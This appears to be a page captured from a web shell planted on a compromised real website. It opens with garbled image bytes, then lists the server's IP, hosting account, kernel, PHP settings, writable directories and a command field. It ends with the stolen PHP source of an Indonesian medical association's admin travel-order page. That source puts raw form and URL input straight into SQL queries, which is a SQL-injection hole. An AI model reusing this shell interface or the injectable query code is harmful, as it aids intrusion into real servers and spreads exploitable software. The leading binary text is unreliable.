JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.85  /  Your IP : 216.73.217.31
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/spd_template_multi.php
<?php  include "koneksi.php";
  session_start();
	// cek apakah yang mengakses halaman ini sudah login
	if($_SESSION['status']<>"login"){
		header("location:location:../login.php");
	}
?>

<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">
<head>
    <title>IDI | List Kategori</title>
    <!-- Custom fonts for this template-->
  <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
  <link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">

  <!-- Custom styles for this template-->
  <link href="css/sb-admin-2.min.css" rel="stylesheet">
  
  <!-- Custom styles for this page -->
  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">
  
  	<style type="text/css">
	body{
		font-family: roboto;
	}


table {
margin: 0 auto;
border-collapse: collapse;
}

tbody {
color: #000;
}

table td {
padding: 5px 10px;
border: 1px solid #e0e0e0;
font: normal 12px Tahoma, Geneva, sans-serif;

}

table tr {
font: normal 12px Tahoma, Geneva, sans-serif;
}




/* untuk ukuran layar 700px kebawah */
@media screen and (max-width: 780px) {
	
	.header, 
	.footer{
		text-align: center;
	}
	.left {
		width: auto;
		float: none;
	}
	
	.middle {
		width: auto;
		float: none;
	}
	
	.right {
		width: auto;
		float: none;
	}

}

	</style>
    
    <style type="text/css">
/* Table demo-table */
		table {
			margin: auto;
			font-family: "Lucida Sans Unicode", "Lucida Grande", "Segoe Ui";
			font-size: 12px;

		}
		.demo-table {
			border-collapse: collapse;
			font-size: 11px;
		}
		.demo-table th, 
		.demo-table td {
			border-bottom: 1px solid #e1edff;
			border-left: 1px solid #e1edff;
			padding: 5px 10px;
			
		}
		.demo-table th, 
		.demo-table td:last-child {
			border-right: 1px solid #e1edff;
		}
		.demo-table td:first-child {
			border-top: 1px solid #e1edff;
		}
		.demo-table td:last-child{
			border-bottom: 0;
		}
		caption {
			caption-side: top;
			margin-bottom: 10px;
			
		}
		
		/* Table Header */
		.demo-table thead th {
			background-color: #508abb;
			color: #FFFFFF;
			border-color: #6ea1cc !important;
			text-transform: uppercase;
			
		}
		
		/* Table Body */
		.demo-table tbody td {
			color: #353535;
		}
		
		.demo-table tbody tr:nth-child(odd) td {
			background-color: #f4fbff;
		}
		.demo-table tbody tr:hover th,
		.demo-table tbody tr:hover td {
			background-color: #ffffa2;
			border-color: #ffff0f;
			transition: all .2s;
		}
		
		.table-container {
	overflow: auto;
}

/* side bar jqery*/


@media only screen and (max-width: 480px) {
    
 	table {
		width: 100%;
	}
	thead th.column-primary {
		width: 100%;
	}

	thead th:not(.column-primary) {
		display:none;
	}
	
	th[scope="row"] {
		vertical-align: top;
		
	}
	
	td {
		display: block;
		width: auto;
		text-align: right;
	}
	thead th::before {
		text-transform: uppercase;
		font-weight: bold;
		content: attr(data-header);
	}
	thead th:first-child span {
		display: none;
	}
	td::before {
		float: left;
		text-transform: uppercase;
		font-weight: bold;
		content: attr(data-header);
	}  
    
}

	</style>
 <style type="text/css">
<!--
-->



html{   

  background-size: cover;
  height:100%;
}

#feedback-page{
	text-align:center;
}

#form-main{
	width:100%;
	float:left;
	padding-top:0px;
	
}

#form-div {
	background-image: linear-gradient(to right, #4682B4, #00FFFF, #00FA9A);
	background:url(image/tdoc.jpg) no-repeat;
	padding-left:35px;
	padding-right:35px;
	padding-top:35px;
	padding-bottom:50px;
	width: 900px;
	float: left;
	left: 50%;
	position: absolute;
  margin-top:30px;
	margin-left: -450px;
  -moz-border-radius: 7px;
  -webkit-border-radius: 7px;
  	border: 1px solid #dedede;
}

.feedback-input {
	color:#3c3c3c;
	font-family: Helvetica, Arial, sans-serif;
  font-weight:500;
	font-size: 18px;
	border-radius: 0;
	line-height: 22px;
	background-color: #fbfbfb;
	padding: 13px 13px 13px 54px;
	margin-bottom: 10px;
	width:100%;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-ms-box-sizing: border-box;
	box-sizing: border-box;
  border: 3px solid rgba(0,0,0,0);
}

.feedback-input:focus{
	background: #fff;
	box-shadow: 0;
	border: 3px solid #3498db;
	color: #3498db;
	outline: none;
  padding: 13px 13px 13px 54px;
}

.focused{
	color:#30aed6;
	border:#30aed6 solid 3px;
}

/* Icons ---------------------------------- */
#name{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#name:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 8px 5px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#comment{
	background-image: url(http://rexkirby.com/kirbyandson/images/comment.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

.textarea {
    width: 100%;
    height: 150px;
    line-height: 150%;
    resize:vertical;
	padding: 10px;
}
.merah {
	
	color: red;
}
input:hover, textarea:hover,
input:focus, textarea:focus {
	background-color:white;
}

#button-blue{
	font-family: 'Montserrat', Arial, Helvetica, sans-serif;
	float:left;
	width: 100%;
	border: #fbfbfb solid 4px;
	cursor:pointer;
	background-color: #3498db;
	color:white;
	font-size:24px;
	padding-top:22px;
	padding-bottom:22px;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
	transition: all 0.3s;
  margin-top:-4px;
   margin-left:5px;
  font-weight:700;
}

#button-blue:hover{
	background-color: rgba(0,0,0,0);
	color: #0493bd;
}
	
.submit:hover {
	color: #3498db;
}
	
.ease {
	width: 0px;
	height: 74px;
	background-color: #fbfbfb;
	-webkit-transition: .3s ease;
	-moz-transition: .3s ease;
	-o-transition: .3s ease;
	-ms-transition: .3s ease;
	transition: .3s ease;
}

.submit:hover .ease{
  width:100%;
  background-color:#EEE;
}

@media only screen and (max-width: 580px) {
	#form-div{
		left: 3%;
		margin-right: 3%;
		width: 88%;
		margin-left: 3%;
		padding-left: 3%;
		padding-right: 3%;
		font-size: 14px;
	}
</style>   
    
    
    
    
		<title>JQuery Multiple Select</title>
		<script src="libs/jquery.min.js"></script>
		<script src="libs/jquery.multiple.select.js"></script>
		<link rel="stylesheet" href="libs/multiple-select.css"/>
		<script>
			$(document).ready(function(){
				$('#demo3').multipleSelect({
					placeholder: "Peserta:",
					filter:true
				});
			});
		</script>
</head>

<body id="page-top">
<body>

<!-- Page Wrapper -->
  <div id="wrapper">
  	<?php include "sidebar.php"; ?>
    
    <!-- Content Wrapper -->
    <div id="content-wrapper" class="d-flex flex-column">

      <!-- Main Content -->
      <div id="content">
      
      <?php include "topbar.php";?>
 
      	<!-- Begin Page Content -->
        <div class="container-fluid">
          <!-- DataTales Example -->
          <div class="card shadow mb-4">
            <div class="card-header py-3">
              <h6 class="m-0 font-weight-bold text-primary">List Post</h6>
            </div>
            <div class="card-body">
              <div class="table-responsive">
<?php
$tgl 	= date('Y-m-d');

?>
<br>
  <div id="form-main">
  <div id="form-div">
   <form method="post" action="" enctype="multipart/form-data">
	  
      <p align="center">
        <label for="tbayar"><strong>Surat Perjalan Dinas</strong></label>
      </p>

     
      <label for="ket">Tanggal </label>
         <input name="tglinv" class="form-control" readonly  type="text" id="datepicker" value="<?php echo $tgl  ?>" size="11">
      </p> 
	  
 	<label for="tbayar">Tanggal Berangkat</label>
 	<br>
      <p class="name"><input name="tglb"  type="date" placeholder="Isi Nama" class="form-control"  value=""  />
      </p>	

 <label for="jumlah">Tanggal Kembali</label>
	  <br>
        <input name="tglk" type="text"  type="date" class="form-control"   placeholder="Isi Alamat" maxlength="30" value="" />
      </p>
	  
 		</p>Tujuan Kota/Tempat <br>
        <input name="nostr" type="text"   class="form-control"    placeholder="Isi Tujuan Kota /tempat" maxlength="30" value=""/>
      </p>

	  
      <label for="jumlah"class="merah">Maksud tujuan Dinas</label>
      <br>
    
	   <input name="tempat1" type="text"   class="form-control"    placeholder="Isi Tujuan Dinas" maxlength="30" value=""/>

      </p> 
	  
	     <label for="jumlah"class="merah">Peserta</label>
      <br>
    
	   <input name="tempat2" type="text"   class="form-control"    placeholder="Isi Peserta" maxlength="30" value=""/>

      </p> 
      
       <br>
<?php
#ambil data propinsi
$query = "SELECT npm, nama_mhs FROM mahasiswa ORDER BY nama_mhs";
$sql = mysqli_query($konek, $query);
$arrpropinsi = array();
while ($row = mysqli_fetch_assoc($sql)) {
	$arrpropinsi [ $row['npm'] ] = $row['nama_mhs'];
}
?>

		<h4>Surat perjalanan Dinas</h4>

		<form action="" method="post">
		<select id="demo3" name="demo3[]" multiple="multiple" style="width:300px">
			<?php
			foreach($arrpropinsi as $kode=>$nama) {
				echo "<option value='$nama'>$nama</option>";
			}
			?>
		</select>
		<input type="submit" name="Pilih" value="Pilih"/>
		</form>
        
        
         <br> <br>
         
              <?php
    $i=1;
    $sql=mysqli_query($konek,"SELECT * FROM spd");
    while ($data=mysqli_fetch_array($sql)) {
	$nmlead=$data['nmlead'];
    ?>
     <tr>
      <td><?=$i++;?></td>
		  <td><?=$data['npm']?></td>
      		<td><?=$data['nmlead']?></td>
		  <td><?=$data['email']?></td>
      </p> 
	  
	    
     </tr>
    <?php 
    }
    ?>
		
		
    
         
         <br>
  Cara  Ke 2 :
 <div class="table-container">
<table  class="table table-bordered table-striped">
<table class="demo-table responsive" >
<caption class="title">Pilih Peserta</caption>

<thead>
	<tr>
		<th scope="col" >No</th>
		<th scope="col" >email</th>
		<th scope="col">nama</th>
		<th scope="col" >level</th>
		<th scope="col">email</th>
		<th scope="col">Pilih</th>
	</tr>
</thead> 
  	<?php
//	$sql = mysqli_query($konek, "SELECT id_tagihan,kelas,tahunajaran,jenis_tagihan,jumlah FROM tblnonspp where tahunajaran = '$tahunbaru' AND kelas = '$tkelas' group by jenis_tagihan ");
$sql = mysqli_query($konek,"SELECT * FROM mahasiswa ORDER BY nama_mhs ");	
	$no=1;
	$total =0;
	
      //  //     $result=@mysql_query($sql)or die(mysql_error());
						//$jml=mysqli_num_rows($sql);
						////$d=mysqli_fetch_array($sql);
						
	while($dd=mysqli_fetch_array($sql)){		
		// $harga = number_format($dd['jumlah'],0,",",".");
 ?>
					 
			 <form id="myform" method="post" action=" ">	
				<tr>
					<td><?php echo $no; ?></td>
					<td data-header='Tahun ajaran'><input type="" name="email[]" value="<?php echo $dd['email']; ?>" readonly size="15"></td>
					<td data-header='Kelas'><input type="" name="nmlead[]" value="<?php echo $dd['nama_mhs']; ?>"readonly size="6"></td>
					<td data-header='Jenis tagihan'><input type="" name="pilih[]" value="<?php echo $dd['level'];?>"readonly size="15"></td>
					<td data-header='Jumlah'><input type="" name="tbljumlah[]" value="<?php echo $dd['email'] ?>"readonly size="11"></td>   
					<td data-header='Pilih'> <input name="jenis[]" type="checkbox" value="<?php echo $dd['npm'];?>" checked></td>                  
				</tr>       
<?php 

							$no++;   
						
							}
					//Tampilkan

						?>	  
</table>	
    </select>
		<input type="submit" name="Pilih" value="Pilih"/>
		</form>
         <br><br>     
	 <label for="jumlah"class="merah">Peserta</label>
      <br>
    <input name="tempat2" type="text"   class="form-control"    placeholder="Isi Peserta" maxlength="30" value="<?php echo $nmlead ?>"/>

    
    <br><br>   
     				   <h4>Peserta </h4></center>
											  </table>  
											 <table class="demo-table responsive">
													<thead>
													<tr>
													 <th width="50px" scope="col">No</th>
													 <th width="200px" scope="col"> Id </th>
													 <th  width="300px" scope="col">npm</th>
													 <th  width="300px" scope="col">nama</th>
													 <th width="200px" scope="col">email</th>
													 <th>Action</th>
													</tr>
													<thead>
	
													
												<?php												
												
												date_default_timezone_set('Asia/Jakarta');
											   // $sql=mysqli_query($konek, "SELECT * FROM mahasiswa WHERE npm='$_GET[noijazah]'");
												$sql   = mysqli_query($konek, "select * from spd ");
												
											//	  $datahobi=explode(',', $data['nmlead']);
												
							
													?>
													<?php
													  $no = 1;
													  $jumlah=0;
														while($du=mysqli_fetch_array($sql)){
													//	$harga = number_format($du['harga'],0,",",".");
													//	$total = number_format($du['jumlah'],0,",",".");
													?>
													
													<form name="input" method="post" action="admin/module/jual/prosesbayar.php">
													
													<tr>
														 <td data-header='No'><?php echo $no; ?></td>
														 <td data-header='Telpon'><input class="form-control" type="" name="nmlead" value="<?php echo $du['id']; ?>" readonly></td>
														 <td data-header='Telpon'><input class="form-control" type="" name="id" value="<?php echo $du['npm']; ?>" readonly></td>
														
														 <td data-header='Telpon'><input class="form-control" type="" name="nmlead" value="<?php echo $du['nmlead']; ?>" readonly></td>
				 <td data-header='Telpon'><input class="form-control" type="" name="nmlead" value="<?php echo $du['email']; ?>" readonly></td>


												<td data-header='Reminder' class='merah' background-color='#ffcccc' >
												<a class='btn btn-danger btn-sm' href='delpst.php?id=<?php echo $du['id']; ?>'>Hapus</a>
												                                        
												</td> 
												 
											   
											  </tr>
														
												<?php 
											 $no++;
											}
											?>
									
               </tr>
      </table>     
	 
	 
	   	    <label for="jumlah"class="merah">Pejabat TTD SPD:</label>
      <br>
   <select name="nominal">
              <?php
					$sqlKelas = mysqli_query($konek, "select * from mahasiswa where level='superadmin' order by nama_mhs");
					while($k=mysqli_fetch_array($sqlKelas)){
				$selected = "selected";
						
						?>
							<option value="<?php echo $k['level']; ?>" <?php echo $selected; ?>>Ketua IDI: <?php echo $k['nama_mhs']; ?></option>
	             <?php
					} 
					?></select>
	  
      </p> 
	  <br><br>  



	  	  	  <label for="keterangan ">Note Tambahan</label>  </p> 
      
		<textarea name="note" class="" id="note" placeholder="Isi Keterangan" ></textarea>

      </p> 


			</p>
        <p>&nbsp;          </p>
        <div class="submit">
        <input type="submit"   id="button-blue" value="Submit" />
        <div class="ease"></div>
      </div>
    </form>
 



		<h4>Surat perjalanan Dinas</h4>

	
		<?php
		
		if($_SERVER['REQUEST_METHOD']=='POST'){ 
		if(isset($_POST['Pilih'])) {
			echo "Peserta: <br/>";
			
				$demo4 = isset($_POST['demo3']) ? $_POST['demo3'] : null;
				
			if ($demo4<>''){	
			echo implode(", ", $demo4);
			
			$hobi = implode(",", $demo4);
			
			  mysqli_query($konek,"INSERT into spd(nmlead) VALUES('".$hobi."')");   
			}
			
			$jenis=$_POST['jenis'];
			$email=$_POST['email'];
			$nmlead=$_POST['nmlead'];
			//cetak detail nonspp
									$jumlah_dipilih = count($jenis);
 										for($x=0;$x<$jumlah_dipilih;$x++){
										//mysql_query("INSERT INTO d_nonspp (npm,tkelas,kelas,jenis_tagihan,jumlah,tahunajaran)
												//values('$nonnpm[$x]','$nontkelas[$x]','$nonkelas[$x]','$jenis[$x]','$jumlah[$x]','$tajaran[$x]')");
												mysqli_query($konek,"INSERT INTO spd (npm,nmlead,email)
												                  values('$jenis[$x]','$nmlead[$x]','$email[$x]')");
									  } 
			
			
			
			
			  
		}
		}
		?>
        <br> <br>
        
        
      <h3><b>Form Edit Data</b></h3>
	
		
    <?php
    //menampilkan data siswa berdasarkan siswaID
      $npm=$_GET['npm'];
      $sql=mysqli_query($konek,"SELECT * FROM peserta  ");
      $data=mysqli_fetch_array($sql);
      //data hobi dari tabel siswa 
      $datahobi=explode(',', $data['dokumen']);
      
       
    ?>

  <form method="POST">
      <table>
        <tr>
        <td width="60px" valign="top">Nama</td>
        <td valign="top"> 
         <input type="text" name="nama" id="nama" value="<?=$data['npm']?>">
        </td>
       </tr>
       <tr>
        <td width="60px" valign="top">Hobi</td>
        <td valign="top">
			<br>
			<?php 
			$note1 = '1. Fotocopy Formulir SIP ditujukan ke DPMPTSP Kota Bandung (lembar 1-3) bagi Praktek di Kota Bandung/Formulir Isian dari IDI Kota Bandung bagi Praktek diluar Kota Bandung.';
			?> 
			
         <label><input type="checkbox" name="hobi[]" value="1" <?php if (in_array("1", $datahobi)) echo "checked";?> ><?php  echo $note1 ?></label><br>
         <label><input type="checkbox" name="hobi[]" value="2" <?php if (in_array("2", $datahobi)) echo "checked";?> >Menulis</label><br>
         <label><input type="checkbox" name="hobi[]" value="Traveling" <?php if (in_array("3", $datahobi)) echo "checked";?> >Traveling</label><br>
         <label><input type="checkbox" name="hobi[]" value="Otomotif" <?php if (in_array("4", $datahobi)) echo "checked";?> >Otomotif</label><br>
         <label><input type="checkbox" name="hobi[]" value="Fotografi" <?php if (in_array("5", $datahobi)) echo "checked";?> >Fotografi</label><br>
         <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("6", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("7", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("8", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("9", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("10", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("11", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("12", $datahobi)) echo "checked";?>  >Programming</label><br>
			   <label><input type="checkbox" name="hobi[]" value="Programming" <?php if (in_array("13", $datahobi)) echo "checked";?>  >Programming</label><br>
			
        </td>
		   
       </tr>
       <tr>
        <td width="60px" valign="top"></td>
        <td valign="top"> 
         <input type="submit" name="update" value="Update">
          <a href="index.php">Batal</a>
        </td>
       </tr>
      </table>
     </form>
      <?php
        if (isset($_POST['update'])) {
          $nama = $_POST['npm'];
          $hobi = implode(",", $_POST['hobi']);
       
			$query=mysql_query("UPDATE siswa SET nama='$nama', hobi='$hobi' WHERE npm='$npm' ");  
         
			
			
			
			
			if ($query) {
             header("location:index.php");
           } 
        }
       ?>
      
    </div>

  </div>     
 </div>
</body>
</html>	
				  
				<script type="text/javascript"> 
				<?php echo $jsArray; ?>
				function changeValue(id){
				document.getElementById('prd_name').value = prdName[id].name;
				document.getElementById('prd_desc').value = prdName[id].desc;
				};
				</script>
				
				<script>
				function sum() {
					  var txtFirstNumberValue = document.getElementById('prd_desc').value;
					  var txtSecondNumberValue = document.getElementById('txt2').value;
					  var result = parseInt(txtFirstNumberValue) * parseInt(txtSecondNumberValue);
					  if (!isNaN(result)) {
						 document.getElementById('txt3').value = result;
					  }
				}
				</script>

				  
				<script type="text/javascript"> 
						$(document).ready(function() {
						  $("#enable").click(function() {
								$("#bayar").attr("disabled", false);
						   });
					
						  $("#disable").click(function() {
								$("#bayar").attr("disabled", true);
						   });
					  
					});
				</script>				
				<!-- proses edit data -->
				
//<?php
//				if($_SERVER['REQUEST_METHOD']=='POST'){
//				
//				
//				
//					//variabel untuk menampung inputan dari form
//					//$idpen          	 = $_POST['idpen'];
//					$idcust         	 = $_POST['idcust'];
//					$barang      		 = $_POST['barang'];
//					$harga      		 = $_POST['harga'];	
//					$qty      			 = $_POST['qty'];
//					$jumlah     		 = $_POST['jumlah'];
//					$tglselesai     		 = $_POST['tglselesai'];
//					//$total     		 = $_POST['total2'];    
//								
//											mysqli_query($konek, "INSERT INTO penjualandm(id_cust,barang,harga,qty,jumlah)
//															  values('$idcust','$barang','$harga','$qty','$jumlah')");	
//															  
//															
//				
//												//mysqli_query($konek, "INSERT INTO h_penjualan(id_pen,id_cust)
//															//  values('$kodeid','$id')");	
//				
//						header("location:index.php?page=jual&view=detail&id=$idcust&tgl=$tglselesai");
//						//echo "$id";
//				
//				}
//				?> 
//
// 
//<?php
//	break;
//	case "baru":
//
//?>
//
//<?php
//				if($_SERVER['REQUEST_METHOD']=='POST'){
//
//					//variabel untuk menampung inputan dari form
//					//$id           = $_POST['cust'];
//					
//					 include "koneksi.php"; 
//					
//					$nmlead        = $_POST['nmlead'];
//					$alamat        = $_POST['alamat'];
//					$telp  		   = $_POST['telp'];
//					$tglmasuk     = $_POST['tglmasuk'];
//					$tglselesai   = $_POST['tglselesai'];
//								 
//				  
//				  $day2 = 'CST';
//				   $dayList2 = array(
//					'CST' => 'CST',
//					'AGD' => 'AGD',
//					'Allegria' => 'ALG'
//					);
//				
//				$query = mysqli_query($konek, "SELECT max(id_cust) as kodecust FROM customer  ");
//				$data = mysqli_fetch_array($query);
//				$kodect = $data['kodecust'];
//				$urutan2 = (int) substr($kodect, -3, 3);
//				$urutan2++;
//				$huruf2 =  $dayList2[$day2];
//				$kdcst= $huruf2 . sprintf("%03s", $urutan2);
//				  
//
//				   $day = 'INV';
//				   $dayList = array(
//					'INV' => 'INV',
//					'AGD' => 'AGD',
//					'Allegria' => 'ALG'
//					);
//				
//				$query = mysqli_query($konek, "SELECT max(id_pen) as kodeTerbesar FROM h_penjualan  ");
//				$data = mysqli_fetch_array($query);
//				$kodeBarang = $data['kodeTerbesar'];
//				$urutan = (int) substr($kodeBarang, -3, 3);
//				$urutan++;
//				$huruf =  $dayList[$day];
//				$kodeid= $huruf . sprintf("%03s", $urutan);
//					
//					// simpan inputan user ke variabel
//					 //   $userInput = array('ket' => $data);
//
//												mysqli_query($konek, "INSERT INTO customer(id_cust,nama_cust,alamat,telp)
//															  values('$kdcst','$nmlead','$alamat','$telp')");	
//
//												//mysqli_query($konek, "INSERT INTO h_penjualan(id_pen,id_cust,tglmasuk,tglselesai,status)
//															//  values('$kodeid','$kdcst','$tglmasuk','$tglselesai','belum')");	
//				
//
//						header("location:index.php?page=jual&view=detail&id=$kdcst");
//						//echo "$id";
//				
//				}
//				?> 	
</div>










     <?php include "footer.php";?>

    </div>
    <!-- End Main Content -->
    </div>
    <!-- End Page Wrapper -->
   <!-- Bootstrap core JavaScript
  <script src="vendor/jquery/jquery.min.js"></script>
  <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

 
  <script src="vendor/jquery-easing/jquery.easing.min.js"></script>

 
  <script src="js/sb-admin-2.min.js"></script>


  <script src="vendor/datatables/jquery.dataTables.min.js"></script>
  <script src="vendor/datatables/dataTables.bootstrap4.min.js"></script>


  <script src="js/demo/datatables-demo.js"></script>-->
</div>	
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit